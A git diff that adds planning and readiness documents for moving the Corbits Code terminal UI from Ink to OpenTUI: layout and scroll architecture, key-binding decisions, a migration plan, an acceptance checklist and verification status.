+- **Optional platform packages** ship per OS/arch including **musl** (`core-linux-*-musl`) and Windows. CI matrix should assert the correct optional dep resolves (darwin arm64/x64, linux glibc + musl arm64/x64). +- **Standalone / Homebrew packaging** — native dylib must be included or resolved at install; verify Corbits release pipeline before cutover. +- **Tree-sitter wasm assets** ship under `@opentui/core` (markdown/code components); size/packaging impact if those components are used. +- **Solid peer pin** — install warning on solid-js 1.9.14; pin compatible peer when productionizing. +- **Construct vs class API** — document team convention early (class for imperative scroll/focus). + +--- + +## 5. Mini shell shape (reference) + +``` +┌─ header (flexShrink: 0) ─────────────────────────────┐ +│ OpenTUI spike · … │ +├─ ScrollBox stickyScroll + stickyStart: "bottom" ─────┤ +│ flexGrow: 1 · no manual row budget │ +│ stream lines … │ +├─ prompt region (flexShrink: 0) ──────────────────────┤ +│ status / focus lease │ +│ Input prompt │ +└──────────────────────────────────────────────────────┘ +``` + +Sticky behavior matches product need: auto-follow until operator scrolls up; return-to-bottom resumes follow. + +--- + +## 6. Explicit GO / NO-GO + +### GO — proceed with OpenTUI as TUI substrate + +Reasons: + +1. Clean install on Bun with native renderer in under ~1s. +2. Flex layout + sticky ScrollBox eliminate the current chrome-row-math failure class. +3. Focus and key distinguishability cover queue-vs-interrupt chords. +4. Headless `createTestRenderer` enables automated layout/key regression tests without a host TTY. +5. Solid binding installs and matches the OpenCode production peer stack. + +### Not claimed (out of scope / residual risk) + +- Production wiring into Corbits entry or root deps +- Full React binding exercise +- Windows interactive run +- Linux/musl CI green +- Keymap host integration +- Performance under multi-hour stream load +- Migration of existing Ink surfaces + +--- + +## 7. How to re-run + +```bash +cd tmp/opentui-spike +bun install +bun run verify # headless evidence (primary) +bun run start # interactive mini shell (real TTY) +``` + +Local evidence JSON: `tmp/opentui-spike/verify-evidence.json` +Task logs (dispatch): `verification.log`, `spike-run.log` under the OpenTUI spike task directory. diff --git a/docs/plans/tui-layout-scroll-platform.md b/docs/plans/tui-layout-scroll-platform.md new file mode 100644 index 000000000..c39b804a0 --- /dev/null +++ b/docs/plans/tui-layout-scroll-platform.md @@ -0,0 +1,439 @@ +# TUI rebuild: OpenTUI shell, layout platform, Amp-class calm + +**Status:** plan (source of truth for Linear project *TUI layout and scroll platform*) +**Product brief:** `briefs/tui-rebuild-opentui.md` +**Project:** https://linear.app/abklabs/project/tui-layout-and-scroll-platform-2f172c54fa83 +**Issues:** CL-5364–CL-5388 + CL-5391–CL-5400 (follow-ups from this plan) + +This document is written **before** treating the Linear backlog as shippable work. Tickets are expanded from here, not the reverse. + +--- + +## 1. Problem + +The Corbits Code TUI feels random because it is a **systems failure**, not a pile of unrelated bugs. + +### What users hit + +- Scroll and overflow break under long sessions, dense approvals, stacked chrome, and small terminals. +- Mid-run steering is inverted vs Amp (Enter interrupts; Alt+Enter queues) and hard to discover. +- Discovery is split across slash commands, a help overlay, and tribal key knowledge. +- Linear is full of closed and open tickets in the **same failure class**: guessed row budgets, per-surface scroll, dual overlay stacks. + +### Root cause (architecture) + +| Concern | Today | Failure | +|---|---|---| +| Fixed chrome | `chrome-zones.ts` constants (`header:2`, `prompt:3`, `status:2`, …) sum to a fixed `CHROME_ROWS` | Constants drift from paint | +| Variable chrome | `chrome-geometry.ts` + `extraChromeRows` (goal, task, agents, banners, prompt growth) | Stacks until transcript is 1 row | +| Overlay height | Hardcoded budgets in `use-layout-geometry.ts` (permissions 6/20, operator 7, help 16, …) | Reuse of wrong budget (e.g. settings ← permissions) | +| Paint | Ink `flexGrow` on the log **and** manual row subtraction | Two systems claim the same height | +| Scroll | `use-scroll`, `use-scroll-window`, prompt-local offset, agents strip window, subagent fork, manual slices in agent/settings/plugins/resume | N owners, no lease | +| Focus | Boolean soup in `app.tsx` + per-modal `useInput` | Keys/wheel race | +| Overlays | `modal-stack.tsx` **and** `overlay-stack.tsx` | Inconsistent height accounting; absolute-positioned settings/slash | + +**Effective equation today:** + +``` +visibleRows = terminal.rows + - CHROME_ROWS + - overlayHeuristic + - extraChromeRows +``` + +Paint does not obey this equation exactly. Overflow tickets are the equation lying. + +### Teardown inventory (surfaces) + +| Surface | Layout | Scroll | +|---|---|---| +| Event log | Residual rows from geometry hooks | `useScroll` + `useTranscriptLayout` + `useMouseScroll` | +| Chat prompt | Cap ~40% / max height 8 | Local window (`prompt-layout`) | +| Permission / operator | Modal-local height | `useScrollWindow` | +| Agent modal | Modal list | Manual slice | +| Mentions | Fixed maxHeight | `useScrollWindow` | +| Permissions / settings / plugins / resume | Overlay panes | Local window each | +| Subagent session | Full-screen fork | Own offset (parallel to main log) | +| Agents strip | Extra chrome row | Horizontal only | + +Tests cover `use-scroll-window` and `prompt-layout` thinly. Missing: chrome-zones/geometry, use-scroll, mouse gating, overlay→shrink integration, size matrix. + +--- + +## 2. Decision (locked) + +1. **Target substrate: OpenTUI** (`@opentui/core` + binding chosen in spike). Same family as OpenCode. +2. **Do not** build a long-lived geometry/scroll platform on Ink and rewrite later. +3. **Ink policy:** only true P0 daily-use blockers get minimal patches; no new chrome features on Ink (CL-5367). +4. **UX north star: Amp-class calm**, implemented on OpenTUI — not a copy of Amp's product surface. +5. **Peers for comparison:** Amp (feel), OpenCode (stack), Claude Code / pi (interaction baselines). pi-tui is **not** the destination stack. + +--- + +## 3. Product definition + +### Who + +Terminal-first developers already on Corbits or evaluating agent CLIs. They abandon tools that fight them mid-stream. + +### Good 30-minute session + +1. Screen paints once; prompt ready; no thrash on first stream token. +2. Stream + tools auto-follow unless operator scrolled up (clear “follow live”). +3. Mid-run type → **Enter queues** (badge); interrupt is a distinct labeled chord. +4. Permission overlay measures remaining box; focus returns cleanly. +5. Orchestrator: agents strip thin; observe intentional; Esc leaves. +6. Scroll back, keyboard copy path works, quit without alt-screen garbage. + +### Success (human-visible) + +- Calm layout under stream + modal open/close. +- Queue-default steering; interrupt discoverable. +- Command palette finds permissions/model without memorizing slash. +- Chrome budget held on 80×24 (≥ ~12 log rows idle). +- Keyboard copy of a message/tool/diff without relying on terminal drag-select. +- Fewer “TUI broken / scroll wrong / accidental interrupt” session-killers. + +--- + +## 4. Amp: steal / adapt / ignore + +| Amp idea | Verdict | +|---|---| +| Solid TUI foundation, no flicker, smooth stream scroll, overlays | **Steal** via OpenTUI | +| Command palette (Ctrl+O) as primary discovery | **Steal** — today Ctrl+O expands tool output; rebind | +| Queue-by-default mid-run; interrupt special | **Steal** — invert Enter vs Alt+Enter | +| Steer at tool boundary vs hard interrupt | **Adapt** — queue + interrupt first; deep steer later | +| One visual system | **Steal** — one theme | +| Keymap customize | **Adapt** — discoverable v1; settings remap later | +| Plugin UI notify/confirm/input/select | **Adapt** — TUI-only v1 | +| Remote control / web mirror / multiplayer | **Ignore** this project | +| Perfect mouse selection | **Ignore** — ship deliberate keyboard copy (learn Amp scar) | +| Unlimited historical render | **Ignore** — long-log strategy required (learn Amp lag scar) | + +Sources: [Owner's Manual](https://ampcode.com/manual), [Look Ma, No Flicker](https://ampcode.com/news/look-ma-no-flicker), [Command Palette](https://ampcode.com/news/command-palette), [Amp Rebuilt](https://ampcode.com/news/neo). + +--- + +## 5. Principles (constitution) + +1. **Transcript pays the rent.** Fixed chrome is thin. Dense UI is modal or collapsed. +2. **Measure, do not guess.** One layout owner; no parallel magic constants that must match paint. +3. **One scroll owner (lease) at a time.** Keys and wheel follow the same focus tree. +4. **One list viewport kit.** Models, permissions, agents, approval options, settings lists share windowing + keep-active-visible + page/jump. +5. **One overlay host.** Kill the ModalStack vs OverlayStack split in the design. +6. **Visual quiet.** State via text and color; no glyph zoo. One theme. +7. **Queue-default steering.** Interrupt is loud and rare. +8. **Palette discovers.** Slash remains a power path, not the only path. +9. **Platform before features.** No new chrome until shell + kit land. +10. **Hard min transcript rows** on 24-row terminals; chrome priority when space is scarce. + +### Chrome budget (v1 numbers) + +| Zone | Idle rows (target) | Notes | +|---|---|---| +| Header | ≤ 2 | Profile / workflow chip | +| Progress | 0 or 1–2 | Only while active / workflow | +| Model / action bar | 1 | Above prompt | +| Prompt (bordered) | 3+ content growth capped | Cap fraction of terminal; scroll internally | +| Status | 1–2 | Under prompt | +| Goal / task / agents / plugin | 0–1 each, collapsed default | Dense detail → modal or expand | +| **Transcript** | **≥ 12 on 80×24 idle** | Non-negotiable floor | + +Dense content never becomes an unbounded permanent strip. + +### Interaction contract (v1) — **LOCKED** + +| Intent | Binding | Notes | +|---|---|---| +| Command palette | **Ctrl+O** | Reclaim from tool-expand | +| Queue message mid-run | **Enter** (when agent busy) | Badge count on prompt; does **not** stop the agent | +| Steer ASAP | **Alt+Enter** | Deliver at next **tool boundary** (Amp-like steer) | +| Interrupt now | **Ctrl+C** | Hard stop current run (must not be plain Enter) | +| Help / keymap | Palette + `/help` | Tables must match | +| Copy path | **Alt+C** (existing direction) | Message/tool/diff; not mouse-drag | +| Esc | Pop focus stack | Overlay → prompt; never silent no-op | +| Wheel | Active scroll lease only | Disabled for transcript when modal owns focus | + +**Queue drain:** messages deliver at **tool boundary** (next tool result / ASAP opportunity), not only full idle. Enter enqueues; Alt+Enter steers (priority ASAP at tool boundary). Exact micro-semantics (queue vs steer priority when both pending) live in CL-5394 constitution. + +**Breaking change:** today's Enter-interrupt / Alt+Enter-queue is inverted and expanded (Ctrl+C = interrupt). Document once; no legacy toggle in v1 (educate on hint line + release note). + +--- + +## 6. Target architecture + +``` +┌─────────────────────────────────────────┐ +│ OpenTUI app shell (single layout owner) │ +│ header │ transcript │ prompt │ status │ +│ overlay host (modal mode) │ +└─────────────────────────────────────────┘ + │ │ + geometry contract focus tree + scroll lease + │ │ + zone registry list viewport kit + (declared heights) (shared windowing) +``` + +### Contracts (define before porting surfaces) + +**Geometry** + +- Inputs: terminal size, declared chrome zones (measured or fixed-with-test), overlay mode. +- Outputs: region rects (x, y, width, height) for header, transcript, prompt, status, overlay. +- Forbidden: leaf components subtracting magic constants from `process.stdout.rows`. + +**Scroll** + +- Content model + **measured row heights** (or OpenTUI-native scroll that owns measurement). +- Pin policy: follow-tail vs user-pinned; jump-to-bottom affordance. +- Scroll unit must not be “virtual log line index that changes height under wrap.” + +**Focus** + +- Tree: overlay host > entered subagent > prompt/transcript shell. +- Exactly one scroll lease; keyboard and wheel share it. +- Restore previous focus on close. + +**Long log (LOCKED ideal)** + +- Keep a hard working set: only content near the viewport is fully expanded/rendered. +- When the operator scrolls **up**, material that leaves the bottom of the viewport **collapses/hides**; material scrolling into view at the top **expands/shows**. +- Symmetric when scrolling down: off-screen content collapses; in-view content is real. +- Goal: multi-thousand-line sessions stay interactive without rendering the entire history at full fidelity. +- Numeric N / window size set during CL-5399 with a laptop budget (interactive scroll after multi-k lines). + +### Kill list (must not reappear on OpenTUI) + +- Guessed fixed row tables that drift from paint +- Parallel geometry hook + paint tree heights +- Absolute overlays without layout-owned clip +- N independent scroll hooks without a lease +- Unbounded stacked chrome with only `max(1, …)` floor +- Reusing one overlay budget for another surface + +### Non-goals (this project) + +- Web workbench / portal UI +- Amp remote control / multi-thread / web plugin mirror +- Inference, permission policy, or agent-loop rewrites (except TUI wiring) +- Theme marketplace +- Perfect native drag-select +- Building on pi-tui or staying on Ink as destination +- Full keymap settings editor (unless free with table) +- **Dual-release Ink + OpenTUI** — no shipping two paint paths; migration is branch-hard-cutover +- **Windows** as a v1 support target (do not block on it) + +--- + +## 7. Migration strategy (branch hard cutover) — **LOCKED** + +**Not** a dual-entry product flag. **Not** shipping OpenTUI until the whole epic is ready. + +1. **Spike** OpenTUI on Bun (FFI, install, binding) → go/no-go. Spike *is* the start of the migration branch attempt. +2. **Constitution** locks budget, focus, scroll, palette, queue/steer/interrupt (docs + acceptance scenarios). +3. **Single migration branch** builds the full OpenTUI shell + platform + all primary surfaces. +4. **Gate:** whole epic acceptance corpus green → merge and ship. If it fails, **scrap the branch** and stay on Ink (do not land half). +5. **Platform** on that branch: shell + geometry + list kit + focus/scroll lease + harness. +6. **Migrate critical path** on that branch: transcript → prompt → approvals/operator → pickers → agents/goal chrome → permissions/settings/help → palette. +7. **Quiet UI** on that branch after geometry rules exist. +8. **Remove Ink** as part of the same cutover (not a later flag flip on main). +9. **Bar** before merge: size matrix, peer pass (incl. Amp), long-session smoke. + +### Strangler order (on the migration branch) + +``` +app chrome shell + → transcript + scroll lease + long-log window + → prompt + queue/steer/interrupt + → overlay host (permissions, operator, model) + → palette + → agents strip / goal / task zones + → settings / help / residual + → delete Ink path + → merge only when acceptance corpus green +``` + +### Rollback / failure mode + +- **Before merge:** scrap migration branch; main stays Ink. +- **After merge:** normal git revert of the merge if catastrophic; no permanent dual paint path. +- Never ship “OpenTUI shell with Ink fallback” as a product mode. + +### Platform support (LOCKED) + +| Priority | Platform | Packaging / Bar | +|---|---|---| +| **#1** | **macOS** | Must pass; primary development target | +| **#2** | **Linux** | Must pass for CI/server users | +| — | **Windows** | Do not block v1; best-effort only if free | + +--- + +## 8. Milestone map + +| Milestone | Intent | Gate | +|---|---|---| +| **0. Renderer** | OpenTUI spike, binding, packaging plan, comparison note | Go/no-go written | +| **1. Constitution** | Budget, ownership, freeze policy, interaction contract | Reviewed + locked | +| **2. Platform** | Shell, geometry, list kit, focus/scroll, harness | Unit + harness green | +| **3. Migration** | All primary surfaces on branch; hard cutover | Acceptance corpus green; Ink deleted on merge | +| **4. Quiet UI** | Collapse chrome, glyph quiet, dense→modal | Budget held on 80×24 | +| **5. Bar** | Size matrix (macOS #1, Linux #2), peers (Amp/OpenCode/Claude/pi), long smoke | Acceptance signed | + +--- + +## 9. Issue index (Linear) + +### 0. Renderer + +| ID | Title | Plan role | +|---|---|---| +| CL-5365 | Spike OpenTUI on Bun | Go/no-go evidence | +| CL-5366 | Binding choice | Decision record from spike | +| CL-5368 | Renderer comparison note | Fold into spike decision (not floating research) | +| CL-5370 | Install/CI/packaging | Plan early; implement after go | + +### 1. Constitution + +| ID | Title | Plan role | +|---|---|---| +| CL-5364 | Layout constitution | Principles + contracts | +| CL-5367 | Freeze Ink chrome | Policy + open-ticket triage | +| CL-5369 | Chrome zone registry | Budget numbers + registry | + +**Filed from this plan:** CL-5395 focus design · CL-5394 interaction contract · CL-5398 dual-entry · CL-5397 palette · CL-5393 follow-tail · CL-5399 long-log · CL-5391 copy path · CL-5396 ticket triage · CL-5400 plan lock · CL-5392 residual overlays. + +### 2. Platform + +| ID | Title | Plan role | +|---|---|---| +| CL-5377 | App shell | Frame owner | +| CL-5372 | Geometry resolver | Measured regions | +| CL-5376 | List viewport kit | Shared lists | +| CL-5374 | Input ownership impl | Focus tree + scroll lease | +| CL-5373 | Test harness | Raise priority; before kit claims CI | + +### 3. Migration + +| ID | Title | Plan role | +|---|---|---| +| CL-5375 | Transcript / event log | Critical path | +| CL-5371 | Prompt box | + queue-default wiring | +| CL-5382 | Approvals / operator | Overlay host consumer | +| CL-5380 | Model/provider pickers | List kit consumer | +| CL-5379 | Agents / goal / task chrome | Zone model | +| CL-5384 | Permissions UI | List kit + budget | +| CL-5381 | Remove Ink | Endgate | + +**Missing surfaces to cover in expansion:** settings, help, status/header, subagent session view, plugins manager, session resume, mention list, streaming markdown host. + +### 4. Quiet UI + +| ID | Title | Plan role | +|---|---|---| +| CL-5383 | Collapse mode/goal/task | Defaults | +| CL-5385 | Dense → modal | Product rule enforcement | +| CL-5378 | Glyph quiet | Polish after structure | + +### 5. Bar + +| ID | Title | Plan role | +|---|---|---| +| CL-5386 | Size matrix | Also early regression, not only end | +| CL-5387 | Peer pass | **Add Amp** to checklist | +| CL-5388 | Long-session smoke | Ghosting / overpaint / resize | + +--- + +## 10. Acceptance corpus (scenarios) + +These replace “fix overflow bugs one by one.” Each must pass on OpenTUI before cutover. + +1. **Starved chrome:** goal + tasks + agents + active progress on 24 rows → transcript still ≥ min floor; expand/collapse works. +2. **Permission list:** 30 options; keep-active-visible; wheel only on list; close restores prompt. +3. **Operator question:** long prompt text + many choices; no overpaint into status. +4. **Prompt expand:** multi-line paste; internal scroll; transcript does not vanish. +5. **Stream follow:** continuous tool output; auto-follow; scroll up pins; jump-to-bottom returns. +6. **Queue mid-run:** type + Enter while busy → badge; agent continues; Alt+Enter steers at tool boundary; Ctrl+C interrupts. +7. **Palette:** Ctrl+O → open permissions → Esc → prompt focused. +8. **Copy path:** Alt+C style flow copies last assistant message without mouse. +9. **Subagent observe:** enter child, scroll independently, Esc to parent; parent lease restored. +10. **Resize mid-session:** 80×24 ↔ 120×40; no ghost lines; prompt row stable. +11. **Settings / help:** open/close; no residual absolute paint. +12. **Long log:** multi-thousand lines; scroll remains interactive (define numeric budget in CL long-log). + +Map each scenario to automated harness where possible; manual for terminal-specific paint. + +--- + +## 11. Related failure-class tickets (triage) + +Absorb into platform rather than deep Ink fixes (unless true P0): + +- Provider picker scroll (e.g. CL-5363) +- Goal resume / mode chrome overflow (e.g. CL-5199, CL-5196) +- Permissions row budget +- Scroll hygiene / line-granular scroll historical class + +Policy: **minimal Ink patch only if daily-use blocker**; otherwise link as related to migration consumer tickets. + +--- + +## 12. Decisions (LOCKED 2026-08-05) + +| # | Topic | Decision | +|---|---|---| +| 1 | Mid-run **Enter** | **Queue** (badge); does not stop agent | +| 2 | Mid-run **Alt+Enter** | **Steer** ASAP at next **tool boundary** | +| 3 | **Ctrl+C** | **Interrupt** current run (hard stop) | +| 4 | Queue drain | **Tool boundary** (not only full idle/turn end) | +| 5 | OpenTUI **binding** | **Spike decides** (React vs Solid vs core) — CL-5365/5366 | +| 6 | OS support | **macOS #1**, **Linux #2**, **Windows do not block** | +| 7 | Long log | Viewport working set: scroll up → collapse off-bottom / show into-top; numeric N in CL-5399 | +| 8 | Cutover | **Branch hard cutover** — no dual-release Ink+OpenTUI; ship only when whole epic works; scrap branch on fail | + +### Still for spike / constitution polish (not product direction) + +- Exact queue vs steer priority when both pending (implement CL-5394 with tool-boundary delivery). +- Numeric long-log window size and collapse thresholds (CL-5399). +- Binding ADR after spike evidence (CL-5366). +- Terminal matrix within macOS/Linux (iTerm2, Ghostty, Apple Terminal, tmux, common Linux terms). + +--- + +## 13. Work sequence (do this order) + +1. Land this plan + product brief (decisions locked above). +2. Expand Linear issues with plan links, blockers, kill-list, acceptance corpus (done for core set). +3. Constitution pack (CL-5364/5369/5394/5395) + Renderer spike (CL-5365) in parallel. +4. Open migration branch after go; build full epic on branch. +5. No merge until acceptance corpus + Bar minimum green. +6. No Quiet UI chrome redesign until Migration geometry exists on branch. +7. Run size matrix on each migration PR on the branch (continuous, not end-only). + +--- + +## 14. References + +### Constitution pack + +- Layout constitution: `docs/tui-layout-constitution.md` (principles, zone registry, geometry contract, kill list) +- Interaction contract: `docs/tui-interaction-contract.md` (queue / steer / interrupt, keys, palette) +- Ink freeze: `docs/tui-ink-freeze.md` (what may still patch on Ink before cutover) +- Migration cutover: `docs/tui-migration-cutover.md` (branch hard cutover, merge gate) + +### Product / architecture entry points + +- Product brief: `briefs/tui-rebuild-opentui.md` +- Product UX claims: `docs/PRODUCT.md` (TUI section) +- Architecture: `docs/ARCHITECTURE.md` (TUI subsection; Ink today, OpenTUI target) +- Spike report: `docs/plans/opentui-spike-report.md` + +### Code ownership and peers + +- Current ownership: `src/tui/chrome-zones.ts`, `chrome-geometry.ts`, `hooks/use-layout-geometry.ts`, `hooks/use-scroll*.ts`, `components/event-log.tsx`, `app.tsx`, `modal-stack.tsx`, `overlay-stack.tsx` +- Amp: https://ampcode.com/manual +- OpenTUI / OpenCode: peer stack reference +- pi-tui: comparison only (`@earendil-works/pi-tui`) diff --git a/docs/tui-cutover-readiness.md b/docs/tui-cutover-readiness.md new file mode 100644 index 000000000..39051c2af --- /dev/null +++ b/docs/tui-cutover-readiness.md @@ -0,0 +1,232 @@ +# TUI cutover readiness — post-cutover re-score + +**Branch:** `migration/opentui-tui` +**Policy:** `docs/tui-migration-cutover.md` — hard cutover, no dual-ship. +**Scope of this doc:** what shipped, what was verified and how, and what parity is +still missing. It does **not** authorize a merge; it tells a reviewer exactly what +they would be merging. The merge question is live, so §"What a reviewer would be +merging today" states that plainly. + +> **Last verified against the code: 2026-08-06.** +> Method: every claim below was re-checked by reading the module and symbol it +> names at branch HEAD (`f1a189c`), plus a full `bun run typecheck` and `bun test` +> on macOS. Claims that could not be demonstrated in the code were deleted, not +> softened. Nothing here is scored on a real-TTY run — see §"Real-terminal +> coverage". A prior revision of this doc carried five "blocking" items that had +> already been fixed; they are listed in §"Closed since the last revision" so a +> reader can see the history without mistaking it for the present. + +## Status summary + +The cutover is done. OpenTUI is the only renderer. + +| Claim | State | How it was checked | +|-------|-------|--------------------| +| Interactive CLI renders with OpenTUI | yes | `src/index.ts` → `runTUI` (`src/tui/runner.ts`) → `mountRunnerHost` (`src/tui-opentui/runner-host.ts`) | +| Onboarding on OpenTUI | yes | `src/tui/onboarding.ts` → `runProviderSetup` (`src/tui-opentui/provider-setup.ts`) | +| Resume picker + session-mode prompt on OpenTUI | yes | `src/tui/pick-session.ts`, `src/tui/session-mode-prompt.ts` → `runListModal` (`src/tui-opentui/list-modal.ts`) | +| Ink tree deleted | yes | no `.tsx` file remains under `src/`; no `from "ink"` import anywhere | +| Ink/React deps removed | yes | `ink`, `react`, `yoga-layout` and friends are absent from `package.json` | +| Build clean | yes | `bun run build` bundles `src/index.ts` | +| Typecheck clean | yes | `bun run typecheck` — no output | +| Suite green | yes, one known unrelated baseline failure | `bun test` — 4217 pass / 1 fail across 315 files; the failure is `src/perf/permission-subagent-spans.test.ts` ("records allow decision when operator approves a shell ask"), pre-existing and unrelated to the renderer | + +### What "verified" can and cannot mean here + +There is **no automated test that mounts `runTUI`**. Every OpenTUI test — including +the ones that exercise production wiring — mounts the `@opentui/core` test renderer, +not a real TTY. So the strongest automated evidence available is: + +- **production-wired** — the test drives the same module the CLI drives + (`product-host.ts`, `runner-host.ts`, `gate-wire.ts`, `command-surfaces.ts`, + `stream-event-map.ts`, `provider-setup.ts`, `list-modal.ts`), with the production + event/emitter shapes, on the headless renderer. +- **platform-kit only** — the test drives `shell.ts` / `overlays.ts` / `geometry.ts` + with fixture data. Real paint on a real terminal is not covered. + +## Real-terminal coverage + +**No scenario in this document has been verified on a real TTY.** Every acceptance +result below comes from the headless test renderer. The manual size-matrix +checklist at the end of this doc is **still unsigned**. Two of the twelve +acceptance scenarios (resize, and paint under an expanded prompt) are +terminal-specific by nature and cannot be closed any other way. Treat the +automated corpus as evidence that the wiring is correct, not that the shell paints +correctly on a user's terminal. + +## What a reviewer would be merging today + +- A complete, single-renderer OpenTUI shell that is the only interactive path: + onboarding, resume, session-mode prompt, transcript, prompt, overlays, palette, + permissions and operator gates, subagent observe, settings, plugins, hooks. +- Full slash-command parity with the deleted Ink registry: `registerBuiltInCommands` + is on the production path, typed `/` commands parse, and the palette is a second + route to the same catalog. +- `@`-mentions, image attachments, sent-message recall, and a keyboard copy path. +- Four known open items, all in §Blocking or §Behavioral deltas below: mouse + selection policy (CL-5540), paste in real terminals (CL-5541), test-renderer + lifetime in CI (CL-5539), and Shift+Enter on terminals that do not report the + modifier. +- An unsigned manual size matrix. + +## Acceptance corpus (`docs/plans/tui-layout-scroll-platform.md` §10) — re-scored + +| # | Scenario | Result | Evidence | Level | +|---|----------|--------|----------|-------| +| 1 | Starved chrome: goal + tasks + agents + progress on 24 rows → transcript ≥ floor | PASS | `geometry.test.ts` (collapse order, idle floor ≥ 12, prompt floor reclaim); `chrome-state.test.ts` maps the live governor/task/agent snapshots the runner passes | production-wired for the chrome mapping, platform-kit for the layout solve | +| 2 | Permission list: 30 options, keep-active-visible, wheel scoped, close restores prompt | PASS | `overlays.test.ts` (30 options, keep-active-visible, Esc restores); `gate-wire.test.ts` (`permission.gate` opens the overlay and resolves the real approval callback) | production-wired | +| 3 | Operator question: long body + many choices, no overpaint into status | PASS | `overlays.test.ts` operator; `gate-wire.test.ts` `operator.gate` end-to-end through the emitter | production-wired | +| 4 | Prompt expand: multi-line paste, internal scroll, transcript survives | PARTIAL | `geometry.test.ts` covers prompt growth and floor reclaim; `prompt-features.test.ts` covers bracketed paste into the live prompt. The user-reported paste failure in a real terminal (CL-5541) is not reproduced by any test | platform-kit only | +| 5 | Stream follow: continuous tool output, auto-follow, scroll pins, jump-to-bottom | PASS | `shell.test.ts` (sticky tail, scroll-up pin, append does not yank viewport); `stream-event-map.test.ts` maps real reactor events; `product-host.test.ts` paints emitter events into the shell | production-wired | +| 6 | Queue mid-run: Enter queues, Alt+Enter steers at tool boundary, Ctrl+C interrupts | PASS | `session-queue.test.ts`, `runtime-bridge.test.ts` (queued item delivers at `tool.boundary`), `live-session-port.test.ts` (forwards to the runner's `send` / `deliver` / `interrupt`) | production-wired | +| 7 | Palette: Ctrl+O → open permissions → Esc → prompt focused | PASS | `wave6.test.ts` palette open/stack/Esc; `command-catalog.test.ts` + `command-surfaces.test.ts` for the real dispatch | production-wired | +| 8 | Copy path: Alt+C copies last assistant message without mouse | PASS | `wave6.test.ts` copy mode (freeze targets, default last, navigate, Esc cancels); `copy-path.test.ts`, `system-clipboard.test.ts` | production-wired for selection/formatting; the OS clipboard write itself is behind a port | +| 9 | Subagent observe: enter child, scroll independently, Esc to parent, lease restored | PASS | `observe-live.test.ts` (host-supplied session, mapped production child events, Esc restores parent transcript + focus lease); `runner-host.test.ts` `observeSessionFromSubAgents` picks the newest running session | production-wired | +| 10 | Resize mid-session 80×24 ↔ 120×40, no ghost lines, prompt row stable | PARTIAL | `overlays.test.ts` resize keeps floors; `geometry.test.ts` 120×40 accrues residual to transcript. Ghost-line/paint behavior is terminal-specific and untested | platform-kit only; needs a manual run | +| 11 | Settings / help: open/close, no residual absolute paint | PASS | `wave7.test.ts` residual surfaces; `command-surfaces.test.ts` drives the settings, permissions, plugins and hooks surfaces against a live settings snapshot | production-wired | +| 12 | Long log: multi-thousand lines, scroll stays interactive | PASS | `long-log.test.ts` (window slice is O(window), not O(total)); `wave6.test.ts` multi-thousand append stays windowed | platform-kit only, but the budget is asserted numerically | +| 13 | Model/provider picker | PASS | `model-catalog.test.ts` maps the runner's real provider config; `overlays.test.ts` model picker accept; `runner-host.test.ts` routes `models` | production-wired for select-and-apply only — connect / usage / re-auth panes do not exist (see gaps) | +| 14 | Onboarding / resume / session-mode prompt | PASS | `provider-setup.test.ts` (field flow, secret masking, connection-test failure, save-anyway, OAuth login step, Ctrl+C aborts), `list-modal.test.ts` (accept, arrows, Esc, Ctrl+C) | production-wired — these are the modules the CLI mounts | + +No scenario is marked PASS on the strength of a real-terminal run, because none was +performed. + +## Blocking — a normal user will hit these + +1. **Paste is reported broken in a real terminal (CL-5541).** Bracketed paste + verifies in the harness (`prompt-features.test.ts`) and Ctrl+V / Ctrl+P image + attach is wired (`attachClipboardImage` in `src/tui-opentui/shell.ts`, bound in + the shell's key handler), but the reported real-terminal failure is not + reproduced or explained. Until someone pastes into a real TTY, treat text paste + as unverified. +2. **Mouse selection policy (CL-5540).** DEC mouse reporting is moving to + off-by-default (`mouseCapture` in `src/tui-opentui/product-host.ts:101`) so the + terminal owns drag-select and copy. The cost is that click-to-expand and + drag-scroll are off unless the user presses `Alt+M` + (`src/tui-opentui/shell.ts:3392`). This is a deliberate trade, but it is a + visible regression for mouse users and the default is not settled. +3. **Shift+Enter does not insert a newline on terminals that do not report the + modifier.** `Ctrl+Enter` and `Ctrl+J` are the working newline chords and the + help catalog says so (`src/tui-opentui/keybindings.ts`). The kitty keyboard + protocol path was verified end to end, so this is terminal reporting, not a + decode defect — but a user on a plain terminal who reaches for Shift+Enter will + send the message. +4. **The manual size matrix is unsigned.** See §Real-terminal coverage. This is a + process gap, not a code gap, but it is the single largest unknown in this + document. + +## CI risk + +**CL-5539 — test renderers are never freed.** `withTestRenderer` +(`src/tui-opentui/harness.ts:157`) destroys the renderer in a `finally`, but 15 +call sites across 9 test files still call `createHarness` directly and never +destroy: `runner-host.test.ts` (6), `provider-setup.test.ts` (2), and one each in +`list-modal.test.ts`, `copy-wire.test.ts`, `harness.test.ts`, +`focus-routing.test.ts`, `product-host.test.ts`, `reasoning-fold.test.ts`, +`zz-paste-probe.test.ts`. On a fast macOS machine the current run emits zero +`Failed to create renderer` errors, so the leak is latent locally; on a 2-core CI +runner it has turned into a cascade of failures. Fix in flight. Do not read a +green local run as evidence CI is safe. + +## Missing surfaces + +1. **In-session provider re-auth is unmounted.** `runProviderSetup` handles OAuth + during onboarding (`OAUTH_STEPS` in `src/tui-opentui/provider-setup.ts:78`), but + an expired profile mid-session has no re-auth surface. + `src/tui-opentui/provider-connect.ts` has no importer at all. +2. **Model surface is select-only.** `openCommandSurface`'s `models` case + (`src/tui-opentui/command-surfaces.ts:915`) delegates to `openModels` and + nothing else — no connect, usage, or re-auth panes. +3. **Tasks view is unmounted.** `applyCommandResult`'s `view` case + (`src/tui/runner.ts:1796`) prints "not available in this renderer yet". No + built-in command currently returns a `view` result, so nothing reaches it today, + but the surface does not exist. +4. **Non-model modals print a placeholder.** `applyCommandResult`'s `modal` case + (`src/tui/runner.ts:1790`) routes `agent` to the model picker and reports every + other modal as unavailable. + +## Behavioral deltas against the deleted Ink shell + +1. **Shift+Tab is unimplemented**, and with it the in-session auto-mode toggle. + Nothing in `src/tui-opentui/` binds it; the only references are the stale + comments at `src/config/index.ts:388` and `src/permission/gate.ts:253`. Auto + mode is settable only via `--auto` / `--no-auto` at launch. +2. **Session mode writes global scope only.** `promptSessionModeIfUnset` + (`src/tui/session-mode-prompt.ts`) calls `saveGlobalSettings`; Ink also offered a + per-repo local scope. +3. **Permissions list is flat with Enter-to-revoke** + (`command-surfaces.ts:518`, title "permissions · Enter revokes"), where Ink + grouped by scope and used `d` to delete. +4. **Markdown flickers mildly while streaming.** The one deterministic cause — a + bare `####` painting as literal text before its heading text arrives — is fixed + with a regression 